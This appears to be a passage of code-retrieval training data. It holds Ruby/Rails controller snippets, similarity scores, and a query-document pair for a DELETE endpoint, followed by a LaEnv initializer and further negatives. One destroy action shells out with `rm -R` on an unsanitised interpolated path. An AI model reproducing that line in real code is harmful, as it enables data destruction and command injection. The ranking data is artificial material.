"def update\n @wadl = Wadl.find(params[:id])\n\n respond_to do |format|\n if @wadl.update_attributes(params[:wadl])\n format.html { redirect_to @wadl, notice: 'Wadl was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wadl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to runner_shoes_path, notice: 'Zapatilla actualizada satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shoe = Shoe.find(params[:id])\n\n respond_to do |format|\n if @shoe.update_attributes(params[:shoe])\n format.html { redirect_to @shoe, notice: 'Shoe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n check_current_user\n\n normalize_wine_data\n\n respond_to do |format|\n if @wine.update(wine_params)\n format.html { redirect_to root_path }\n format.json { render :show, status: :ok, location: @wine }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trainer = Trainer.find(params[:id])\n\n if @trainer.update(trainer_params)\n head :no_content\n else\n render json: @trainer.errors, status: :unprocessable_entity\n end\n end",
"def put url, object = nil\n request url, HTTP::Put, object\n end",
"def update\n @subway = Subway.find(params[:id])\n\n respond_to do |format|\n if @subway.update_attributes(params[:subway])\n format.html { redirect_to @subway, notice: 'Subway was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @runway_ap = RunwayAp.find(params[:id])\n\n respond_to do |format|\n if @runway_ap.update_attributes(params[:runway_ap])\n format.html { redirect_to @runway_ap, notice: 'Runway ap was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @runway_ap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sprinkle.update(sprinkle_params)\n format.html { redirect_to @sprinkle, notice: 'Sprinkle was successfully updated.' }\n format.json { render :show, status: :ok, location: @sprinkle }\n else\n format.html { render :edit }\n format.json { render json: @sprinkle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end",
"def update\n @lei = Lei.find(params[:id])\n\n respond_to do |format|\n if @lei.update_attributes(params[:lei])\n format.html { redirect_to @lei, notice: 'Lei was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lei.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @staffer = Staffer.find(params[:id])\n\n respond_to do |format|\n if @staffer.update_attributes(params[:staffer])\n format.html { redirect_to @staffer, notice: 'Staffer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @staffer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n\n end",
"def update\n set_wine_app_description\n set_wine_app_screenshot\n respond_to do |format|\n if @wine_app.update(wine_app_params)\n format.html { redirect_to @wine_app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wine_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @jetty = Jetty.find(params[:id])\n\n respond_to do |format|\n if @jetty.update_attributes(params[:jetty])\n format.html { redirect_to @jetty, notice: 'Jetty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jetty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end",
"def update\n @onske = Onske.find(params[:id])\n\n respond_to do |format|\n if @onske.update_attributes(params[:onske])\n format.html { redirect_to @onske, notice: 'Onske was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onske.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @straddle = Straddle.find(params[:id])\n\n respond_to do |format|\n if @straddle.update_attributes(params[:straddle])\n format.html { redirect_to @straddle, notice: 'Straddle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @straddle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @way.update(way_params)\n format.html { redirect_to @way, notice: 'Way was successfully updated.' }\n format.json { render :show, status: :ok, location: @way }\n else\n format.html { render :edit }\n format.json { render json: @way.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plato = Plato.find(params[:id])\n\n if @plato.update(plato_params)\n head :no_content\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end",
"def update\n team_name = params[:name]\n team_description = params[:description]\n team_id = params[:id]\n\n respond_to do |format|\n if OkrTeam.where(id: team_id).update_all(name: team_name, description: team_description)\n format.json { render json: 'Team is updated successfully!', status: :ok }\n else\n format.json { render json: 'Error!', status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shoot = Shoot.find(params[:id])\n\n respond_to do |format|\n if @shoot.update_attributes(params[:shoot])\n format.html { redirect_to @shoot, notice: 'Shoot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shoot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bow.update(bow_params)\n format.html { redirect_to @bow, notice: 'Bow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n if @broad.update_attributes(params[:broad])\n format.html { redirect_to @broad, notice: 'Broad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @broad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bowling.update(bowling_params)\n format.html { redirect_to @bowling, notice: 'Bowling was successfully updated.' }\n format.json { render :show, status: :ok, location: @bowling }\n else\n format.html { render :edit }\n format.json { render json: @bowling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @watson.update(watson_params)\n format.html { redirect_to @watson, notice: 'Watson was successfully updated.' }\n format.json { render :show, status: :ok, location: @watson }\n else\n format.html { render :edit }\n format.json { render json: @watson.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n format.html { redirect_to @concept, notice: 'Concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bottle.update(bottle_params)\n format.html { redirect_to user_path(current_user.id), notice: 'Bottle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bottle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wro = Wro.find(params[:id])\n\n respond_to do |format|\n if @wro.update_attributes(params[:wro])\n flash[:notice] = 'Wro was successfully updated.'\n format.html { redirect_to(@wro) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @rayon = Rayon.find(params[:id])\n\n respond_to do |format|\n if @rayon.update_attributes(params[:rayon])\n format.html { redirect_to @rayon, notice: 'Rayon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rayon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word = Word.find(params[:id])\n\n respond_to do |format|\n\n if @word.update_attributes(params[:word])\n format.json { head :no_content }\n else\n format.json { render :json => @word.errors,\n :status => :unprocessable_entity }\n end\n\n end\n end",
"def update\n respond_to do |format|\n if @unique_whiteline.update(unique_whiteline_params)\n format.html { redirect_to @unique_whiteline, notice: 'Unique whiteline was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @unique_whiteline.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.63966846",
"0.61629975",
"0.6072793",
"0.60303116",
"0.602698",
"0.60156965",
"0.59779996",
"0.59596354",
"0.59446645",
"0.5924456",
"0.58154935",
"0.580964",
"0.57754964",
"0.5761185",
"0.5759177",
"0.5757143",
"0.57536495",
"0.57495356",
"0.5747794",
"0.57444096",
"0.57434154",
"0.5739091",
"0.57343227",
"0.5691202",
"0.5681699",
"0.5679162",
"0.5676555",
"0.5674897",
"0.5668427",
"0.5667136",
"0.5665782",
"0.56625295",
"0.5658027",
"0.5655469",
"0.56541675",
"0.56296945",
"0.56194305",
"0.56123984",
"0.55951416",
"0.5587021",
"0.55863416",
"0.5582386",
"0.55759096",
"0.5575079",
"0.55715203",
"0.5571407",
"0.5571103",
"0.5570429",
"0.5543742",
"0.55431783",
"0.55413157",
"0.5540517",
"0.5537662",
"0.553742",
"0.55369174",
"0.5535767",
"0.5534564",
"0.5533744",
"0.55321705",
"0.55321544",
"0.5528184",
"0.5521039",
"0.5519432",
"0.55185",
"0.55150294",
"0.551405",
"0.5509704",
"0.5509697",
"0.5507072",
"0.5507011",
"0.55068445",
"0.5506362",
"0.5502959",
"0.5500393",
"0.55000156",
"0.5496462",
"0.5487492",
"0.5482752",
"0.54801077",
"0.5477274",
"0.547437",
"0.5474127",
"0.546972",
"0.54695696",
"0.5468975",
"0.54676217",
"0.54634386",
"0.54600865",
"0.54581696",
"0.5457608",
"0.54563487",
"0.545439",
"0.5454366",
"0.5451745",
"0.5451745",
"0.54513305",
"0.5450665",
"0.54493",
"0.5443979",
"0.5442297"
] |
0.6799518
|
0
|
DELETE /weblings/1 DELETE /weblings/1.json
|
def destroy
@webling = Webling.find(params[:id])
@webling.destroy
respond_to do |format|
format.html { redirect_to weblings_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @web = Web.find(params[:id])\n @web.destroy\n\n respond_to do |format|\n format.html { redirect_to webs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end",
"def destroy\n @behatweb = Behatweb.find(params[:id])\n @behatweb.destroy\n\n respond_to do |format|\n format.html { redirect_to behatwebs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete\n delete_from_server single_url\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete\n api_client.delete(url)\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @one = One.find(params[:id])\n @one.destroy\n\n respond_to do |format|\n format.html { redirect_to ones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unique_whiteline.destroy\n respond_to do |format|\n format.html { redirect_to unique_whitelines_url }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @wash = Wash.find(params[:id])\n @wash.destroy\n\n respond_to do |format|\n format.html { redirect_to washes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @walikela.destroy\n respond_to do |format|\n format.html { redirect_to walikelas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @web.destroy\n respond_to do |format|\n format.html { redirect_to webs_url, notice: 'Web was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @htc.destroy\n respond_to do |format|\n format.html { redirect_to htcs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uginuce.sheep.update status:'na farmi'\n @uginuce.destroy\n respond_to do |format|\n format.html { redirect_to uginuces_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @railway = Railway.find(params[:id])\n @railway.destroy\n\n respond_to do |format|\n format.html { redirect_to railways_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end",
"def destroy\n @shuttle_run.destroy\n respond_to do |format|\n format.html { redirect_to shuttle_runs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @three.destroy\n respond_to do |format|\n format.html { redirect_to threes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thirtyone.destroy\n respond_to do |format|\n format.html { redirect_to thirtyones_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @web_datas.destroy\n respond_to do |format|\n format.html { redirect_to web_data_url, notice: 'Web datas was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def destroy\n @webtoon.destroy\n respond_to do |format|\n format.html { redirect_to webtoons_url, notice: 'Webtoon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kolegij = Kolegij.find(params[:id])\n @kolegij.destroy\n\n respond_to do |format|\n format.html { redirect_to kolegijs_url }\n format.json { head :no_content }\n end\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @progress_web.destroy\n respond_to do |format|\n format.html { redirect_to progress_webs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ninja = Ninja.find(params[:id])\n @ninja.destroy\n\n respond_to do |format|\n format.html { redirect_to ninjas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @three60.destroy\n respond_to do |format|\n format.html { redirect_to edit_admin_good_url(@good, anchor: \"three60\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @waldo.destroy\n respond_to do |format|\n format.html { redirect_to waldos_url, notice: 'Waldo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n request(:delete, path)\n end",
"def destroy\n @pinglun = Pinglun.find(params[:id])\n @pinglun.destroy\n\n respond_to do |format|\n format.html { redirect_to pingluns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @leito = Leito.find(params[:id])\n @leito.destroy\n\n respond_to do |format|\n format.html { redirect_to leitos_url }\n format.json { head :ok }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @rb.destroy\n respond_to do |format|\n format.html { redirect_to rbs_url, notice: 'Erfolgreich gelöscht.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hotele = Hotele.find(params[:id])\n @hotele.destroy\n\n respond_to do |format|\n format.html { redirect_to hoteles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hoge = Hoge.find(params[:id])\n @hoge.destroy\n\n respond_to do |format|\n format.html { redirect_to hoges_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @subway = Subway.find(params[:id])\n @subway.destroy\n\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :ok }\n end\n end",
"def destroy\n return if @name.nil?\n delete_rest \"extra/#{@name}\"\n end",
"def delete(object)\n full_name = extract_full_name object\n post 'api/del', :id => full_name\n end",
"def destroy\n @sklad = Sklad.find(params[:id])\n @sklad.destroy\n\n respond_to do |format|\n format.html { redirect_to sklads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lore = Lore.find(params[:id])\n @lore.destroy\n\n respond_to do |format|\n format.html { redirect_to lores_url }\n format.json { head :no_content }\n end\n end",
"def delete(url)\n do_request(\"delete\", url)\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def destroy\n @thirtythree.destroy\n respond_to do |format|\n format.html { redirect_to thirtythrees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wine.destroy\n respond_to do |format|\n format.html { redirect_to wines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wine.destroy\n respond_to do |format|\n format.html { redirect_to wines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n @monkey = Monkey.find(params[:id])\n @monkey.destroy\n\n respond_to do |format|\n format.html { redirect_to monkeys_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dart = Dart.find(params[:id])\n @dart.destroy\n\n respond_to do |format|\n format.html { redirect_to darts_url }\n format.json { head :no_content }\n end\n end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def destroy\n @wadl = Wadl.find(params[:id])\n @wadl.destroy\n\n respond_to do |format|\n format.html { redirect_to wadls_url }\n format.json { head :ok }\n end\n end",
"def delete(*rest) end",
"def destroy\n @lei = Lei.find(params[:id])\n @lei.destroy\n\n respond_to do |format|\n format.html { redirect_to leis_url }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bottling = Bottling.find(params[:id])\n @bottling.destroy\n\n respond_to do |format|\n format.html { redirect_to bottlings_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @jedi = Jedi.find(params[:id])\n @jedi.destroy\n\n respond_to do |format|\n format.html { redirect_to jedis_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @stone = Stone.find(params[:id])\n @stone.destroy\n\n respond_to do |format|\n format.html { redirect_to stones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @web_lock = WebLock.find(params[:id])\n @web_lock.destroy\n\n respond_to do |format|\n format.html { redirect_to(web_locks_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def destroy\n @webextra = Webextra.find(params[:id])\n @webextra.destroy\n\n respond_to do |format|\n format.html { redirect_to(webextras_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @strategyweb = Strategyweb.find(params[:id])\n @strategyweb.destroy\n\n respond_to do |format|\n format.html { redirect_to strategywebs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wig = Wig.find(params[:id])\n @wig.destroy\n\n respond_to do |format|\n format.html { redirect_to wigs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @leye = Leye.find(params[:id])\n @leye.destroy\n\n respond_to do |format|\n format.html { redirect_to leyes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asthenium.destroy\n respond_to do |format|\n format.html { redirect_to asthenia_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @webtier.destroy\n respond_to do |format|\n format.html { redirect_to webtiers_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end",
"def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @bottle = Bottle.find(params[:id])\n @bottle.destroy\n\n respond_to do |format|\n format.html { redirect_to(bottles_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.7194807",
"0.69073594",
"0.69067866",
"0.68755376",
"0.6847305",
"0.6820079",
"0.68094635",
"0.6804198",
"0.68035394",
"0.68035394",
"0.68035394",
"0.68035394",
"0.6802242",
"0.6782258",
"0.6772575",
"0.6762357",
"0.67617625",
"0.6743862",
"0.6699854",
"0.66817075",
"0.66755813",
"0.6672672",
"0.665866",
"0.6658121",
"0.6657198",
"0.6655506",
"0.66467077",
"0.66422975",
"0.6634512",
"0.6621063",
"0.6617194",
"0.6617055",
"0.6615984",
"0.6608205",
"0.66051656",
"0.6597273",
"0.6593191",
"0.6590762",
"0.658868",
"0.6586047",
"0.6586047",
"0.6583824",
"0.6579643",
"0.65672016",
"0.65627134",
"0.6551089",
"0.6549155",
"0.6545774",
"0.65455943",
"0.6544951",
"0.6541406",
"0.6541058",
"0.65374845",
"0.65354586",
"0.65346605",
"0.653215",
"0.6531036",
"0.6524173",
"0.6519925",
"0.65155685",
"0.6512002",
"0.65118015",
"0.6506983",
"0.6506314",
"0.6504667",
"0.64994377",
"0.649572",
"0.64951044",
"0.6494995",
"0.64903855",
"0.64883846",
"0.6482302",
"0.6482302",
"0.6477779",
"0.64699143",
"0.6467125",
"0.64668405",
"0.6466281",
"0.6466281",
"0.6466273",
"0.6465026",
"0.64630044",
"0.6462594",
"0.646168",
"0.6459022",
"0.64585185",
"0.6453854",
"0.6453716",
"0.64533806",
"0.6453195",
"0.6452904",
"0.64510006",
"0.6449609",
"0.6449353",
"0.6447133",
"0.6444488",
"0.6444117",
"0.644344",
"0.6442922",
"0.6437483"
] |
0.718539
|
1
|
Create new LaEnv instance Expected +args+ keys :lastore path fro storage root :quiet enable or disable logging
|
def initialize(args={})
@quiet = args.delete(:quiet) || false
@lastore = File.expand_path(args.delete(:lastore)|| "~/.config/lapack")
@ladb = "db"
@lapkg = "pkg"
FileUtils.mkdir_p(dbs_store)
raise "Unknown args #{args.keys.join(', ')}" unless args.keys.empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(*args)\n @env = args.first\n end",
"def initialize(*args, &block)\n @id = self.class.get_id\n if args.first.is_a?(String)\n base_name = args.slice!(0)\n else\n base_name = \"e.#{@id}\"\n end\n variant_keys = (Rscons.application.active_variants || []).map do |variant|\n variant[:key]\n end.compact\n @name = [base_name, *variant_keys].join(\"-\")\n options = args.first || {}\n unless Cache.instance[\"configuration_data\"][\"configured\"]\n raise \"Project must be configured before creating an Environment\"\n end\n super(options)\n # Hash of Thread object => {Command} or {Builder}.\n @threads = {}\n @registered_build_dependencies = {}\n # Set of side-effect files that have not yet been built.\n @side_effects = Set.new\n @builder_sets = []\n @build_targets = {}\n @user_deps = {}\n # Hash of builder name (String) => builder class (Class).\n @builders = {}\n @build_hooks = {pre: [], post: []}\n unless options[:exclude_builders]\n DEFAULT_BUILDERS.each do |builder_class_name|\n builder_class = Builders.const_get(builder_class_name)\n builder_class or raise \"Could not find builder class #{builder_class_name}\"\n add_builder(builder_class)\n end\n end\n @echo =\n if options[:echo]\n options[:echo]\n elsif Rscons.application.verbose\n :command\n else\n :short\n end\n @build_root = \"#{Rscons.application.build_dir}/#{@name}\"\n @n_threads = Rscons.application.n_threads\n @build_steps = 0\n self.class.register(self)\n if block\n Environment.running_environment = self\n block[self]\n Environment.running_environment = nil\n end\n end",
"def initialize_environment(args, options, config)\n raise Errors::CLIMissingEnvironment.new if !config[:env]\n @env = config[:env]\n @env.ui = UI::Shell.new(@env, shell) if [email protected]_a?(UI::Shell)\n end",
"def initialize(*args)\n @queue = []\n @workdir = Pathname.new(Pathname.pwd)\n @env = {}\n super\n end",
"def initialize(env, args, name)\n @name = name\n @env = env\n @args = args\n end",
"def initialize(*args)\n @args = []\n @debug = false\n @env = false\n @fde = true\n @help = false\n @pretend = false\n @profile = false\n @report = false\n @graph = false\n @projects = false\n @stealth = false\n @disable_service = false\n @enable_service = false\n @restart_service = false\n @disable_services = false\n @enable_services = false\n @restart_services = false\n @list_services = false\n @color = true\n\n @options = OptionParser.new do |o|\n o.banner = \"Usage: #{File.basename $0} [options] [projects...]\\n\\n\"\n\n o.on \"--debug\", \"Be really verbose.\" do\n @debug = true\n end\n\n o.on \"--pretend\", \"--noop\", \"Don't make changes.\" do\n @pretend = true\n end\n\n o.on \"--report\", \"Enable puppet reports.\" do\n @report = true\n end\n\n o.on \"--graph\", \"Enable generation of dependency graphs.\" do\n @graph = true\n end\n\n o.on \"--env\", \"Show useful environment variables.\" do\n @env = true\n end\n\n o.on \"--help\", \"-h\", \"-?\", \"Show help.\" do\n @help = true\n end\n\n o.on \"--disable-service SERVICE\", \"Disable a Boxen service.\" do |service|\n @disable_service = service\n end\n\n o.on \"--enable-service SERVICE\", \"Enable a Boxen service.\" do |service|\n @enable_service = service\n end\n\n o.on \"--restart-service SERVICE\", \"Restart a Boxen service.\" do |service|\n @restart_service = service\n end\n\n o.on \"--disable-services\", \"Disable all Boxen services.\" do\n @disable_services = true\n end\n\n o.on \"--enable-services\", \"Enable all Boxen services.\" do\n @enable_services = true\n end\n\n o.on \"--restart-services\", \"Restart all Boxen services.\" do\n @restart_services = true\n end\n\n o.on \"--list-services\", \"List Boxen services.\" do\n @list_services = true\n end\n\n o.on \"--homedir DIR\", \"Boxen's home directory.\" do |homedir|\n @homedir = homedir\n end\n\n o.on \"--logfile DIR\", \"Boxen's log file.\" do |logfile|\n @logfile = logfile\n end\n\n o.on \"--login LOGIN\", \"Your GitHub login.\" do |login|\n @login = login\n end\n\n o.on \"--no-fde\", \"Don't require full disk encryption.\" do\n @fde = false\n end\n\n # --no-pull is used before options are parsed, but consumed here.\n\n o.on \"--no-pull\", \"Don't try to update code before applying.\"\n\n o.on \"--no-issue\", \"--stealth\", \"Don't open an issue on failure.\" do\n @stealth = true\n end\n\n o.on \"--token TOKEN\", \"Your GitHub OAuth token.\" do |token|\n @token = token\n end\n\n o.on \"--profile\", \"Profile the Puppet run.\" do\n @profile = true\n end\n\n o.on \"--future-parser\", \"Enable the Puppet future parser\" do\n @future_parser = true\n end\n\n o.on \"--projects\", \"Show available projects.\" do\n @projects = true\n end\n\n o.on \"--srcdir DIR\", \"The directory where repos live.\" do |srcdir|\n @srcdir = srcdir\n end\n\n o.on \"--user USER\", \"Your local user.\" do |user|\n @user = user\n end\n\n o.on \"--no-color\", \"Disable colors.\" do\n @color = false\n end\n end\n\n parse args.flatten.compact\n end",
"def initialize\n @options = ArgumentParser.parse\n Environment.environment = @options[:environment] || \"production\"\n + @options.delete(:environment)\n end",
"def enableEnvironment _args\n \"enableEnvironment _args;\" \n end",
"def initialize\n @level = level_for_env\n end",
